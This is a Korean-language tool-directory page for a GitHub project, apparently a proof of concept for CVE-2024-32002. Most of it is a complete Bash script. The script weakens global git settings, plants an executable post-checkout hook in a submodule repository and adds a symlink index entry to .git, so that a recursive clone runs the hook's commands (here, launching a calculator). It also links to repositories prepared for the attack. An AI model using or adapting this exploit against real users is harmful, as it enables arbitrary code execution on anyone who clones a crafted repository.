Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-32002-EXP — CVE-2024-32002용 Bash PoC로, 악성 하위 모듈과 심볼릭 링크가 있는 Git 클론을 악용하여 Windows 및 macOS에서 임의 명령을 실행합니다. | Kitploit
도구/GitHubGitHub/10cks/cve-2024-32002-exp
Vulnerability AnalysisExploitationWeb SecuritySupply Chain SecurityLearning & EducationPayload Development
GitHub10cks/cve-2024-32002-exp

CVE-2024-32002-EXP

CVE-2024-32002용 Bash PoC로, 악성 하위 모듈과 심볼릭 링크가 있는 Git 클론을 악용하여 Windows 및 macOS에서 임의 명령을 실행합니다.

저장소 보기
242년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-32002-EXP

root@kitploit:~
#!/bin/bash

# Git 구성 옵션 설정
git config --global protocol.file.allow always
git config --global core.symlinks true
# 경고 메시지 방지 (기본 브랜치를 main으로 설정)
git config --global init.defaultBranch main 

# tell-tale 경로 정의
tell_tale_path="$PWD/tell.tale"

# hook 저장소 초기화
git init hook
cd hook
mkdir -p y/hooks

# 악성 코드를 hook에 작성, Windows 및 Mac 환경에 맞춤
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF

# hook을 실행 가능하게 설정: 중요
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# hook 저장소 경로 정의
hook_repo_path="$(pwd)/hook"

# captain 저장소 초기화
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# 심볼릭 링크 생성
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

# 로컬 테스트, GitHub에 푸시할 때는 이 기능을 사용할 필요 없음
git clone --recursive captain hooked

https://github.com/10cks/captain

https://github.com/10cks/hook

도구 다운로드